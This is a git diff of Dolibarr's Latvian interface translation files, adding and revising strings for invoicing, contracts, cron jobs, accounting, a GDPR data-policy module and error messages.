InvoiceDeposit=Sākuma iemaksu rēķins InvoiceDepositAsk=Sākuma iemaksu rēķins InvoiceDepositDesc=This kind of invoice is done when a down payment has been received. @@ -24,6 +26,7 @@ InvoiceProForma=Proformas rēķins InvoiceProFormaAsk=Proforma rēķins InvoiceProFormaDesc=Formāta rēķins ir attēls patiesu rēķina, bet nav nekādas grāmatvedības uzskaites vērtības. InvoiceReplacement=Nomaiņas rēķins +InvoiceReplacementShort=Aizstāšana InvoiceReplacementAsk=Nomaiņa rēķins par rēķinu InvoiceReplacementDesc=Rezerves rēķinu izmanto, lai pilnībā aizstātu rēķinu bez maksājuma, kas jau saņemts.

      Piezīme: var nomainīt tikai rēķinus, kuriem nav maksājuma. Ja aizstātais rēķins vēl nav slēgts, tas tiks automātiski aizvērts, lai to atteiktu. InvoiceAvoir=Kredīta piezīme @@ -159,6 +162,7 @@ ErrorThisPartOrAnotherIsAlreadyUsedSoDiscountSerieCantBeRemoved=Šī daļa jau i ErrorInvoiceIsNotLastOfSameType=Kļūda: rēķina %s datums ir %s. Tāda paša veida rēķiniem (%s) tam ir jābūt vēlākam vai vienādam ar pēdējo datumu. Lūdzu, mainiet rēķina datumu. BillFrom=No BillTo=Kam +ShippingTo=Sūtīt uz ActionsOnBill=Pasākumi attiecībā uz rēķinu RecurringInvoiceTemplate=Veidne / periodiskais rēķins NoQualifiedRecurringInvoiceTemplateFound=Nav atkārtota veidņu rēķina, kas derīga paaudzei. @@ -446,6 +450,7 @@ ErrorPaymentConditionsNotEligibleToDepositCreation=Izvēlētie maksājuma nosac PaymentTypeVIR=Bankas pārskaitījums PaymentTypeShortVIR=Bankas pārskaitījums PaymentTypePRE=Tiešā debeta maksājuma rīkojums +PaymentTypePREdetails=(kontā *-%s) PaymentTypeShortPRE=Debeta maksājuma rīkojums PaymentTypeLIQ=Skaidra nauda PaymentTypeShortLIQ=Skaidra nauda @@ -621,3 +626,8 @@ PaymentRegisteredAndInvoiceSetToPaid=Maksājums reģistrēts un rēķins %s iest SendEmailsRemindersOnInvoiceDueDate=Nosūtiet atgādinājumu pa e-pastu par neapmaksātiem rēķiniem MakePaymentAndClassifyPayed=Ierakstiet maksājumu BulkPaymentNotPossibleForInvoice=Lielapjoma maksājums nav iespējams par rēķinu %s (slikts veids vai statuss) +MentionVATDebitOptionIsOn=Iespēja maksāt nodokli, pamatojoties uz debetu +MentionCategoryOfOperations=Operāciju kategorija +MentionCategoryOfOperations0=Preču piegāde +MentionCategoryOfOperations1=Pakalpojumu sniegšana +MentionCategoryOfOperations2=Jaukts - Preču piegāde un pakalpojumu sniegšana diff --git a/htdocs/langs/lv_LV/bookmarks.lang b/htdocs/langs/lv_LV/bookmarks.lang index 6a5ed291102..be85996b0e2 100644 --- a/htdocs/langs/lv_LV/bookmarks.lang +++ b/htdocs/langs/lv_LV/bookmarks.lang @@ -20,3 +20,4 @@ ChooseIfANewWindowMustBeOpenedOnClickOnBookmark=Izvēlieties, vai saistītā lap BookmarksManagement=Grāmatzīmju vadība BookmarksMenuShortCut=Ctrl + shift + m NoBookmarks=Nav definētu grāmatzīmju +NoBookmarkFound=Grāmatzīme nav atrasta diff --git a/htdocs/langs/lv_LV/boxes.lang b/htdocs/langs/lv_LV/boxes.lang index ea6e1fe36aa..dce2438c4c0 100644 --- a/htdocs/langs/lv_LV/boxes.lang +++ b/htdocs/langs/lv_LV/boxes.lang @@ -24,6 +24,7 @@ BoxFicheInter=Jaunākās intervences BoxCurrentAccounts=Atvērto kontu atlikums BoxTitleMemberNextBirthdays=Šī mēneša dzimšanas dienas (dalībnieki) BoxTitleMembersByType=Dalībnieki pēc veida un statusa +BoxTitleMembersByTags=Dalībnieki pēc tagiem un statusa BoxTitleMembersSubscriptionsByYear=Dalībnieku abonēšana pēc gada BoxTitleLastRssInfos=Jaunākās %s ziņas no %s BoxTitleLastProducts=Produkti / Pakalpojumi: pēdējais %s modificēts @@ -44,8 +45,10 @@ BoxTitleSupplierOrdersAwaitingReception=Piegādātāju pasūtījumi, kas gaida s BoxTitleLastModifiedContacts=Kontakti/adreses: pēdējie %s labotie BoxMyLastBookmarks=Grāmatzīmes: jaunākās %s BoxOldestExpiredServices=Vecākais aktīvais beidzies pakalpojums +BoxOldestActions=Vecākie notikumi BoxLastExpiredServices=Jaunākie %s vecākie kontakti ar aktīviem derīguma termiņa beigām BoxTitleLastActionsToDo=Jaunākās %s darbības, ko darīt +BoxTitleOldestActionsToDo=Vecākie veicamie %s notikumi, kas nav pabeigti BoxTitleLastContracts=Jaunākie %s līgumi, kas tika mainīti BoxTitleLastModifiedDonations=Jaunākie %s ziedojumi, kas tika mainīti BoxTitleLastModifiedExpenses=Jaunākie %s izdevumu pārskati, kas tika mainīti diff --git a/htdocs/langs/lv_LV/categories.lang b/htdocs/langs/lv_LV/categories.lang index 2da314699a5..8bdbbcf4761 100644 --- a/htdocs/langs/lv_LV/categories.lang +++ b/htdocs/langs/lv_LV/categories.lang @@ -42,6 +42,7 @@ MemberHasNoCategory=This member is not in any tags/categories ContactHasNoCategory=Šī kontaktpersona nav nevienā tagā /sadaļā ProjectHasNoCategory=Šis projekts nav nevienā tagā / kategorijā ClassifyInCategory=Pievienot tagam / kategorijai +RemoveCategory=Noņemt kategoriju NotCategorized=Bez taga / sadaļas CategoryExistsAtSameLevel=Šī sadaļa jau pastāv ar šo ref ContentsVisibleByAllShort=Saturs redzams visiem @@ -67,6 +68,7 @@ StockCategoriesShort=Noliktavas tagi / kategorijas ThisCategoryHasNoItems=Šajā kategorijā nav nevienas preces. CategId=Tag /sadaļas ID ParentCategory=Vecāku atzīme / kategorija +ParentCategoryID=Vecāka taga/kategorijas ID ParentCategoryLabel=Vecāku taga / kategorijas etiķete CatSupList=Pārdevēju tagu / kategoriju saraksts CatCusList=Klientu / potenciālo klientu tagu / kategoriju saraksts @@ -86,7 +88,7 @@ DeleteFromCat=Noņemt no tagiem / kategorijas ExtraFieldsCategories=Papildus atribūti CategoriesSetup=Tagu / kategoriju iestatīšana CategorieRecursiv=Link with parent tag/category automatically -CategorieRecursivHelp=Ja opcija ir ieslēgta, pievienojot produktu apakškategorijai, produkts tiks pievienots arī vecākajai kategorijai. +CategorieRecursivHelp=Ja opcija ir ieslēgta, pievienojot objektu apakškategorijai, objekts tiks pievienots arī vecākkategorijām. AddProductServiceIntoCategory=Add the following product/service AddCustomerIntoCategory=Piešķirt kategoriju klientam AddSupplierIntoCategory=Piešķirt kategoriju piegādātājam @@ -100,3 +102,4 @@ ActionCommCategoriesArea=Pasākumu kategorijas WebsitePagesCategoriesArea=Lapu konteineru kategorijas KnowledgemanagementsCategoriesArea=KM raksts Kategorijas UseOrOperatorForCategories=Kategorijām izmantojiet operatoru “OR” +AddObjectIntoCategory=Pievienojiet objektu kategorijai diff --git a/htdocs/langs/lv_LV/commercial.lang b/htdocs/langs/lv_LV/commercial.lang index 2a5b51abed4..6a093271f08 100644 --- a/htdocs/langs/lv_LV/commercial.lang +++ b/htdocs/langs/lv_LV/commercial.lang @@ -74,8 +74,16 @@ StatusProsp=Prospekta statuss DraftPropals=Izstrādā komerciālos priekšlikumus NoLimit=Nav ierobežojuma ToOfferALinkForOnlineSignature=Saite uz tiešsaistes parakstu -WelcomeOnOnlineSignaturePage=Laipni lūdzam lapā, lai pieņemtu komerciālos piedāvājumus no %s -ThisScreenAllowsYouToSignDocFrom=Šis ekrāns ļauj pieņemt un parakstīt vai noraidīt citātu / komerciālu piedāvājumu -ThisIsInformationOnDocumentToSign=Šī ir informācija par dokumentu, kas pieņemams vai noraidāms +WelcomeOnOnlineSignaturePageProposal=Laipni lūdzam lapā, lai pieņemtu komerciālos piedāvājumus no %s +WelcomeOnOnlineSignaturePageContract=Laipni lūdzam %s līguma PDF parakstīšanas lapā +WelcomeOnOnlineSignaturePageFichinter=Laipni lūdzam %s intervences PDF parakstīšanas lapā +ThisScreenAllowsYouToSignDocFromProposal=Šis ekrāns ļauj pieņemt un parakstīt vai atteikties no piedāvājuma/komerciāla piedāvājuma +ThisScreenAllowsYouToSignDocFromContract=Šis ekrāns ļauj tiešsaistē parakstīt līgumu PDF formātā. +ThisScreenAllowsYouToSignDocFromFichinter=Šis ekrāns ļauj tiešsaistē parakstīt iejaukšanos PDF formātā. +ThisIsInformationOnDocumentToSignProposal=Šī ir informācija par dokumentu, kas pieņemams vai noraidāms +ThisIsInformationOnDocumentToSignContract=Šī ir informācija par parakstāmo līgumu +ThisIsInformationOnDocumentToSignFichinter=Šī ir informācija par iejaukšanos, kas jāparaksta SignatureProposalRef=Cenas / komerciālā piedāvājuma parakstīšana %s +SignatureContractRef=Līguma parakstīšana %s +SignatureFichinterRef=Intervences paraksts %s FeatureOnlineSignDisabled=Pirms funkcija tika aktivizēta, funkcija tiešsaistes parakstīšanai ir atspējota vai dokuments ir izveidots diff --git a/htdocs/langs/lv_LV/companies.lang b/htdocs/langs/lv_LV/companies.lang index c151320b07d..cf2c435216c 100644 --- a/htdocs/langs/lv_LV/companies.lang +++ b/htdocs/langs/lv_LV/companies.lang @@ -312,12 +312,12 @@ CustomerRelativeDiscountShort=Relatīvā atlaide CustomerAbsoluteDiscountShort=Absolūtā atlaide CompanyHasRelativeDiscount=Šim klientam ir pastāvīgā atlaide %s%% CompanyHasNoRelativeDiscount=Šim klientam nav relatīvā atlaide pēc noklusējuma -HasRelativeDiscountFromSupplier=Šī pārdevēja noklusējuma atlaide ir %s%% -HasNoRelativeDiscountFromSupplier=Jums nav noklusējuma relatīvās atlaides no šī pārdevēja +HasRelativeDiscountFromSupplier=Pie šī pārdevēja jums ir noklusējuma atlaide %s%% +HasNoRelativeDiscountFromSupplier=Šim pārdevējam nav noklusējuma relatīvās atlaides CompanyHasAbsoluteDiscount=Šim klientam ir pieejamas atlaides (kredītpiezīmes vai maksājumi) par %s%s CompanyHasDownPaymentOrCommercialDiscount=Šim klientam ir pieejamas atlaides (komerciālie, iemaksātie maksājumi) par %s %s CompanyHasCreditNote=Šim klientam joprojām ir kredīta piezīmes %s %s -HasNoAbsoluteDiscountFromSupplier=Šim pārdevējam nav pieejama atlaide +HasNoAbsoluteDiscountFromSupplier=No šī pārdevēja nav pieejama neviena atlaide/kredīts HasAbsoluteDiscountFromSupplier=No šī pārdevēja ir pieejamas atlaides (kredītkartes vai iemaksas) par šo piegādātāju %s %s HasDownPaymentOrCommercialDiscountFromSupplier=Jums ir pieejamas atlaides (komerciāli, pirmstermiņa maksājumi) par %s %s no šī pārdevēja HasCreditNoteFromSupplier=Jums ir kredīta piezīmes par šo piegādātāju %s%s @@ -444,7 +444,7 @@ AddAddress=Pievienot adresi SupplierCategory=Pārdevēja sadaļa JuridicalStatus200=Neatkarīgs DeleteFile=Izdzēst failu -ConfirmDeleteFile=Vai jūs tiešām vēlaties izdzēst šo failu? +ConfirmDeleteFile=Vai tiešām vēlaties dzēst šo failu %s ? AllocateCommercial=Piešķirts tirdzniecības pārstāvim Organization=Organizācija FiscalYearInformation=Fiskālais gads @@ -498,3 +498,8 @@ RestOfEurope=Pārējā Eiropa (EEK) OutOfEurope=Ārpus Eiropas (EEK) CurrentOutstandingBillLate=Pašreizējais nesamaksātais rēķins ir nokavēts BecarefullChangeThirdpartyBeforeAddProductToInvoice=Esiet piesardzīgs, atkarībā no produkta cenas iestatījumiem, pirms produkta pievienošanas POS, jums jāmaina trešā puse. +EmailAlreadyExistsPleaseRewriteYourCompanyName=e-pasts jau pastāv, lūdzu, pārrakstiet sava uzņēmuma nosaukumu +TwoRecordsOfCompanyName=šim uzņēmumam ir vairāk nekā viens ieraksts, lūdzu, sazinieties ar mums, lai pabeigtu savu partnerības pieprasījumu +CompanySection=Uzņēmuma sadaļa +ShowSocialNetworks=Rādīt sociālos tīklus +HideSocialNetworks=Slēpt sociālos tīklus diff --git a/htdocs/langs/lv_LV/compta.lang b/htdocs/langs/lv_LV/compta.lang index 6cb9919eb81..fe0d86b625d 100644 --- a/htdocs/langs/lv_LV/compta.lang +++ b/htdocs/langs/lv_LV/compta.lang @@ -29,6 +29,8 @@ BalanceBefore=Bilance (pirms) Balance=Bilance Debit=Debets Credit=Kredīts +AccountingDebit=Debets +AccountingCredit=Kredīts Piece=Grāmatvedības dok. AmountHTVATRealReceived=Neto savākti AmountHTVATRealPaid=Neto samaksāts @@ -244,12 +246,12 @@ TurnoverPerProductInCommitmentAccountingNotRelevant=Apgrozījuma pārskats, kas TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=Apgrozījuma pārskats, kas iegūts no pārdošanas nodokļa likmes, nav pieejams. Šis pārskats ir pieejams tikai apgrozījumam rēķinā. CalculationMode=Aprēķinu režīms AccountancyJournal=Grāmatvedības kodu žurnāls -ACCOUNTING_VAT_SOLD_ACCOUNT=Grāmatvedības konts pēc noklusējuma par PVN pārdošanu (tiek izmantots, ja nav definēts, izmantojot PVN vārdnīcas iestatījumus). -ACCOUNTING_VAT_BUY_ACCOUNT=Grāmatvedības konts pēc noklusējuma par PVN pirkumiem (tiek izmantots, ja nav definēts, izmantojot PVN vārdnīcas iestatījumus). -ACCOUNTING_VAT_PAY_ACCOUNT=Grāmatvedības konts pēc noklusējuma PVN maksāšanai -ACCOUNTING_ACCOUNT_CUSTOMER=Grāmatvedības konts, kas tiek izmantots klientu trešajām pusēm +ACCOUNTING_VAT_SOLD_ACCOUNT=Konts (no konta plāna), kas jāizmanto kā noklusējuma konts pārdošanas PVN aplikšanai (izmanto, ja tas nav definēts PVN vārdnīcas iestatījumos) +ACCOUNTING_VAT_BUY_ACCOUNT=Konts (no konta plāna), kas jāizmanto kā noklusējuma konts PVN par pirkumiem (izmanto, ja tas nav definēts PVN vārdnīcas iestatījumos) +ACCOUNTING_VAT_PAY_ACCOUNT=Konts (no konta plāna), kas jāizmanto kā noklusējuma konts PVN maksāšanai +ACCOUNTING_ACCOUNT_CUSTOMER=Konts (no konta plāna), ko izmanto "klientu" trešajām pusēm ACCOUNTING_ACCOUNT_CUSTOMER_Desc=Īpašais grāmatvedības konts, kas noteikts trešās personas kartē, tiks izmantots tikai pakārtotajam grāmatvedim. Šis tiek izmantots General Ledger un noklusējuma vērtība Subledged grāmatvedībai, ja trešās personas īpašais klientu grāmatvedības konts nav definēts. -ACCOUNTING_ACCOUNT_SUPPLIER=Pārdevēja trešo personu grāmatvedības konts +ACCOUNTING_ACCOUNT_SUPPLIER=Konts (no kontu plāna), ko izmanto "pārdevēja" trešajām pusēm ACCOUNTING_ACCOUNT_SUPPLIER_Desc=Trešās puses kartē noteiktais īpašais grāmatvedības konts tiks izmantots tikai Subledger grāmatvedībai. Tas tiks izmantots galvenajai grāmatai un Subledger grāmatvedības noklusējuma vērtība, ja nav definēts īpašs pārdevēja grāmatvedības konts trešajā pusē. ConfirmCloneTax=Apstipriniet sociālā / fiskālā nodokļa klonu ConfirmCloneVAT=Apstipriniet PVN deklarācijas klonu diff --git a/htdocs/langs/lv_LV/contracts.lang b/htdocs/langs/lv_LV/contracts.lang index 164f1d22ef8..d07e9c17dcc 100644 --- a/htdocs/langs/lv_LV/contracts.lang +++ b/htdocs/langs/lv_LV/contracts.lang @@ -20,6 +20,7 @@ ContractsSubscriptions=Contracts/Subscriptions ContractsAndLine=Līgumi un līgumu līnija Contract=Līgums ContractLine=Līguma līnija +ContractLines=Līguma līnijas Closing=Slēgšana NoContracts=Nav līgumi MenuServices=Pakalpojumi @@ -79,7 +80,7 @@ ConfirmDeleteContractLine=Vai tiešām vēlaties dzēst šo līguma līniju? MoveToAnotherContract=Pārvietot servisu citā līgumā. ConfirmMoveToAnotherContract=Es choosed jaunu mērķa līgumu, un apstiprinu, ka vēlaties, lai pārvietotu šo pakalpojumu noslēgtu šo līgumu. ConfirmMoveToAnotherContractQuestion=Choose in which existing contract (of same third party), you want to move this service -PaymentRenewContractId=Atjaunot līgumu pozīcija (numurs %s) +PaymentRenewContractId=Atjaunot līgumu %s (pakalpojums %s) ExpiredSince=Derīguma termiņš NoExpiredServices=Nav beidzies aktīvās pakalpojumi ListOfServicesToExpireWithDuration=Pakalpojumu sarakstu beidzas %s dienās @@ -102,3 +103,5 @@ TypeContact_contrat_external_SALESREPSIGN=Parakstot līgumu klientu kontaktu HideClosedServiceByDefault=Slēpt slēgtos pakalpojumus pēc noklusējuma ShowClosedServices=Rādīt slēgtos pakalpojumus HideClosedServices=Slēpt slēgtos pakalpojumus +UserStartingService=Lietotāja palaišanas pakalpojums +UserClosingService=Lietotāja aizvēršanas pakalpojums diff --git a/htdocs/langs/lv_LV/cron.lang b/htdocs/langs/lv_LV/cron.lang index 062d5230372..11837fbfaa6 100644 --- a/htdocs/langs/lv_LV/cron.lang +++ b/htdocs/langs/lv_LV/cron.lang @@ -26,7 +26,7 @@ CronCommand=Komanda CronList=Plānoti darbi CronDelete=Dzēst ieplānotos darbus CronConfirmDelete=Vai tiešām vēlaties dzēst šos plānotos darbus? -CronExecute=Uzsākt plānoto darbu +CronExecute=Palaist tūlīt CronConfirmExecute=Vai tiešām vēlaties veikt šos plānotos darbus tagad? CronInfo=Scheduled job module allows to schedule jobs to execute them automatically. Jobs can also be started manually. CronTask=Darbs @@ -58,7 +58,7 @@ CronNote=Komentārs CronFieldMandatory=Lauki %s ir obligāti CronErrEndDateStartDt=Beigu datums nevar būt pirms sākuma datuma StatusAtInstall=Statuss moduļa instalācijā -CronStatusActiveBtn=Grafiks +CronStatusActiveBtn=Iespējot plānošanu CronStatusInactiveBtn=Izslēgt CronTaskInactive=Šis darbs ir atspējots (nav ieplānots) CronId=Id @@ -82,10 +82,19 @@ UseMenuModuleToolsToAddCronJobs=Lai redzētu un rediģētu ieplānotos darbus, d JobDisabled=Darbs ir atspējots MakeLocalDatabaseDumpShort=Lokālās datu bāzes dublēšana MakeLocalDatabaseDump=Izveidojiet vietējo datubāzes dump. Parametri ir: kompresija ("gz" vai "bz" vai "neviens"), dublēšanas veids ("mysql", "pgsql", "auto"), 1, "auto" vai faila nosaukums, +MakeSendLocalDatabaseDumpShort=Nosūtīt vietējās datu bāzes dublējumu +MakeSendLocalDatabaseDump=Nosūtiet vietējās datu bāzes dublējumu pa e-pastu. Parametri ir: kam, no, tēma, ziņojums, faila nosaukums (nosūtītā faila nosaukums), filtrs (“sql” tikai datu bāzes dublēšanai) +BackupIsTooLargeSend=Atvainojiet, pēdējais dublējuma fails ir pārāk liels, lai to nosūtītu pa e-pastu +CleanUnfinishedCronjobShort=Notīriet nepabeigto cronjob +CleanUnfinishedCronjob=Notīriet cronjob, kas iestrēdzis apstrādē, kad process vairs nedarbojas WarningCronDelayed=Attention, for performance purpose, whatever is next date of execution of enabled jobs, your jobs may be delayed to a maximum of %s hours, before being run. DATAPOLICYJob=Datu tīrītājs un anonimizators JobXMustBeEnabled=Darbam %s jābūt iespējotam +EmailIfError=E-pasts brīdinājumam par kļūdu +ErrorInBatch=Kļūda, palaižot darbu %s + # Cron Boxes LastExecutedScheduledJob=Pēdējais izpildītais plānotais darbs NextScheduledJobExecute=Nākamais ieplānotais izpildāmais darbs NumberScheduledJobError=Ieplānoto darbu skaits kļūdaini +NumberScheduledJobNeverFinished=Ieplānoto darbu skaits, kas nekad nav pabeigts diff --git a/htdocs/langs/lv_LV/datapolicy.lang b/htdocs/langs/lv_LV/datapolicy.lang new file mode 100644 index 00000000000..e4ff6d5bbcc --- /dev/null +++ b/htdocs/langs/lv_LV/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Datu konfidencialitātes politika +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Datu konfidencialitātes pārvaldības modulis (atbilstība GDPR) + +# +# Administration page +# +datapolicySetup = Moduļa datu konfidencialitātes politikas iestatīšana +Deletion = Datu dzēšana +datapolicySetupPage = Atkarībā no jūsu valsts tiesību aktiem (piemērs VDAR 5. pants ), personas dati ir jāuzglabā ne ilgāk par laiku, kas nepieciešams nolūkiem, kādiem tie tika vākti, izņemot arhivēšanas nolūkos.
      Dzēšana tiks veikta automātiski pēc noteikta laika bez notikuma (ilgums, kuru norādīsiet tālāk). +NB_MONTHS = %s mēneši +ONE_YEAR = 1 gads +NB_YEARS = %s gadi +DATAPOLICY_TIERS_CLIENT = Klients +DATAPOLICY_TIERS_PROSPECT = Perspektīva +DATAPOLICY_TIERS_PROSPECT_CLIENT = Iespējamais/klients +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Ne potenciālais/ne klients +DATAPOLICY_TIERS_FOURNISSEUR = Piegādātājs +DATAPOLICY_CONTACT_CLIENT = Klients +DATAPOLICY_CONTACT_PROSPECT = Perspektīva +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Iespējamais/klients +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Ne potenciālais/ne klients +DATAPOLICY_CONTACT_FOURNISSEUR = Piegādātājs +DATAPOLICY_ADHERENT = Biedrs +DATAPOLICY_Tooltip_SETUP = Saziņas veids — norādiet savu izvēli katram veidam. +DATAPOLICYMail = E-pasta iestatīšana +DATAPOLICYSUBJECTMAIL = E-pasta tēma +DATAPOLICYCONTENTMAIL = E-pasta saturs +DATAPOLICYSUBSITUTION = Savā e-pastā varat izmantot šādus mainīgos (LINKACCEPT ļauj izveidot saiti, kas ieraksta personas piekrišanu, LINKREFUSED ļauj ierakstīt personas atteikumu): +DATAPOLICYACCEPT = Ziņa pēc vienošanās +DATAPOLICYREFUSE = Ziņa pēc nesaskaņas +SendAgreementText = Jūs varat nosūtīt GDPR e-pastu uz visām jūsu attiecīgajām kontaktpersonām (kuras vēl nav saņēmušas e-pastu un kurām neesat reģistrējis neko par viņu GDPR līgumu). Lai to izdarītu, izmantojiet šo pogu. +SendAgreement = Sūtīt ēpastus +AllAgreementSend = Visi e-pasti ir nosūtīti +TXTLINKDATAPOLICYACCEPT = Teksts saitei "vienošanās" +TXTLINKDATAPOLICYREFUSE = Teksts saitei "nepiekrišana" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR: personas datu apstrāde +DATAPOLICY_consentement = Saņemta piekrišana personas datu apstrādei +DATAPOLICY_opposition_traitement = Iebilst pret savu personas datu apstrādi +DATAPOLICY_opposition_prospection = Iebilst pret savu personas datu apstrādi izpētes nolūkos + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonimizēt trešo pusi +DATAPOLICY_POPUP_ANONYME_TEXTE = Jūs nevarat izdzēst šo kontaktpersonu no Dolibarr, jo ir saistīti vienumi. Saskaņā ar GDPR jūs visus šos datus padarīsit anonīmus, lai ievērotu savas saistības. Vai vēlaties turpināt? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Pārnesamība GDPR +DATAPOLICY_PORTABILITE_TITLE = Personas datu eksports +DATAPOLICY_PORTABILITE_CONFIRMATION = Jūs vēlaties eksportēt šīs kontaktpersonas personas datus. Vai tu esi pārliecināts ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonimizēts %s + +# V2 +DATAPOLICYReturn = GDPR validācija +DATAPOLICY_date = Vienošanās/nepiekrišanas datums GDPR +DATAPOLICY_send = Datums nosūtīšanas līguma e-pasts +DATAPOLICYReturn = GDPR validācija +DATAPOLICY_SEND = Nosūtiet GDPR e-pastu +MailSent = E-pasts ir nosūtīts + +# ERROR +ErrorSubjectIsRequired = Kļūda: ir jānorāda e-pasta tēma. Norādiet to moduļa iestatījumos +=Tehniskas problēmas dēļ nevarējām reģistrēt jūsu izvēli. Mēs par to atvainojamies. Sazinieties ar mums, lai nosūtītu mums savu izvēli. +NUMBER_MONTH_BEFORE_DELETION = Mēneša skaits pirms dzēšanas diff --git a/htdocs/langs/lv_LV/dict.lang b/htdocs/langs/lv_LV/dict.lang index 1b232c953ca..d6960e706de 100644 --- a/htdocs/langs/lv_LV/dict.lang +++ b/htdocs/langs/lv_LV/dict.lang @@ -250,7 +250,9 @@ CountryMF=Saint Martin ##### Civilities ##### CivilityMME=Kundze +CivilityMMEShort=Kundze CivilityMR=Kungs +CivilityMRShort=Kungs CivilityMLE=Jaunkundze. CivilityMTRE=Meistars CivilityDR=Doktors diff --git a/htdocs/langs/lv_LV/ecm.lang b/htdocs/langs/lv_LV/ecm.lang index 60b7a88cbb4..de86412f521 100644 --- a/htdocs/langs/lv_LV/ecm.lang +++ b/htdocs/langs/lv_LV/ecm.lang @@ -5,6 +5,7 @@ ECMSectionManual=Manuālā sadaļa ECMSectionAuto=Automātiskā sadaļa ECMSectionsManual=Manuālais koks ECMSectionsAuto=Automātiska koks +ECMSectionsMedias=Mediju koks ECMSections=Katalogi ECMRoot=ECM sakne ECMNewSection=Jauns katalogs @@ -16,7 +17,9 @@ ECMNbOfFilesInSubDir=Failu skaits apakšsadaļās ECMCreationUser=Autors ECMArea=DMS / ECM apgabals ECMAreaDesc=Platība DMS / ECM (Dokumentu pārvaldības sistēma / Elektroniskā satura pārvaldība) ļauj ātri saglabāt, kopīgot un ātri meklēt dokumentus Dolibarr. -ECMAreaDesc2=* Automātiska katalogi tiek aizpildītas automātiski pievienojot dokumentus no kartes elementa.
      * Manual abonentu var tikt izmantoti, lai saglabātu dokumentus nav saistītas ar noteiktu elementa. +ECMAreaDesc2a=* Manuālos direktorijus var izmantot, lai saglabātu dokumentus, kas nav saistīti ar konkrētu elementu. +ECMAreaDesc2b=* Automātiskie direktoriji tiek aizpildīti automātiski, pievienojot dokumentus no elementa lapas. +ECMAreaDesc3=* Medias directories are files into the subdirectory /medias of documents directory, readable by everybody with no need to be logged and no need to have the file shared explicitely. It is used to store image files for the emailing or website module for example. ECMSectionWasRemoved=Katalogs %s ir dzēsts. ECMSectionWasCreated=Katalogs %s ir izveidots. ECMSearchByKeywords=Meklēt pēc atslēgvārdiem diff --git a/htdocs/langs/lv_LV/errors.lang b/htdocs/langs/lv_LV/errors.lang index 7a0e8cc365b..c261b3fe71b 100644 --- a/htdocs/langs/lv_LV/errors.lang +++ b/htdocs/langs/lv_LV/errors.lang @@ -14,6 +14,7 @@ ErrorLoginAlreadyExists=Lietotājs %s jau pastāv. ErrorGroupAlreadyExists=Grupa %s jau pastāv. ErrorEmailAlreadyExists=E-pasts %s jau pastāv. ErrorRecordNotFound=Ierakstīt nav atrasts. +ErrorRecordNotFoundShort=Nav atrasts ErrorFailToCopyFile=Neizdevās nokopēt failu '%s' uz '%s'. ErrorFailToCopyDir=Neizdevās kopēt direktoriju '%s' uz ' %s'. ErrorFailToRenameFile=Neizdevās pārdēvēt failu '%s' uz '%s'. @@ -48,6 +49,7 @@ ErrorBadImageFormat=Attēla failam nav atbalstītais formāts (jūsu PHP neatbal ErrorBadDateFormat=Vērtībai '%s' ir nepareizs datuma formāts ErrorWrongDate=Datums nav pareizs ErrorFailedToWriteInDir=Neizdevās ierakstīt direktorijā %s +ErrorFailedToBuildArchive=Neizdevās izveidot arhīva failu %s ErrorFoundBadEmailInFile=Atrasts nepareiza e-pasta sintakse %s līnijām failā (piemērs line %s ar e-pasta = %s) ErrorUserCannotBeDelete=Lietotāju nevar izdzēst. Varbūt tas ir saistīts ar Dolibarr vienībām. ErrorFieldsRequired=Daži obligāti aizpildāmie lauki ir atstāti tukši. @@ -76,7 +78,7 @@ ErrorNoValueForCheckBoxType=Lūdzu, aizpildiet vērtību rūtiņu sarakstā ErrorNoValueForRadioType=Lūdzu, aizpildiet vērtību radio pogu sarakstā ErrorBadFormatValueList=Saraksta vērtībā nedrīkst būt vairāk par vienu komatu: %s , bet tai ir nepieciešams vismaz viena: atslēga, vērtība ErrorFieldCanNotContainSpecialCharacters=Laukā %s nedrīkst būt īpašas rakstzīmes. -ErrorFieldCanNotContainSpecialNorUpperCharacters=Laukā %s nedrīkst būt speciālās rakstzīmes vai lielformāta rakstzīmes, un tajos nedrīkst būt tikai cipari. +ErrorFieldCanNotContainSpecialNorUpperCharacters=Laukā %s nedrīkst būt ne speciālās rakstzīmes, ne lielie burti, un tam jāsākas ar alfabētisku rakstzīmi (a–z). ErrorFieldMustHaveXChar=Laukā %sjābūt vismaz %s rakstzīmēm. ErrorNoAccountancyModuleLoaded=Nav grāmatvedības modulis aktivizēts ErrorExportDuplicateProfil=Šāds profila nosaukums jau eksistē šim eksportam. @@ -95,9 +97,9 @@ ErrorWrongValueForField=Lauks %s : “ %s ” neatbilst regex not ErrorHtmlInjectionForField=Lauks %s : Vērtība ' %s a09a4b739f17f satur mazlicious data'nav atļauts ErrorFieldValueNotIn=Lauks %s : “ %s ” nav vērtība, kas norādīta laukā %s no %s ErrorFieldRefNotIn=Lauks %s : “ %s ” nav esošais ref. %s +ErrorMultipleRecordFoundFromRef=Vairāki ieraksti tika atrasti, veicot meklēšanu no ref %s . Nevar zināt, kuru ID izmantot. ErrorsOnXLines=atrastas %s kļūdas ErrorFileIsInfectedWithAVirus=Antivīrusu programma nevarēja pārbaudīt failu (fails varētu būt inficēts ar vīrusu) -ErrorSpecialCharNotAllowedForField=Speciālās rakstzīmes nav atļautas laukam "%s" ErrorNumRefModel=Norāde pastāv to datubāzē (%s), un tas nav saderīgs ar šo numerācijas noteikuma. Noņemt ierakstu vai pārdēvēts atsauci, lai aktivizētu šo moduli. ErrorQtyTooLowForThisSupplier=Šim pārdevējam pārāk zems daudzums vai cena šai precei nav noteikta 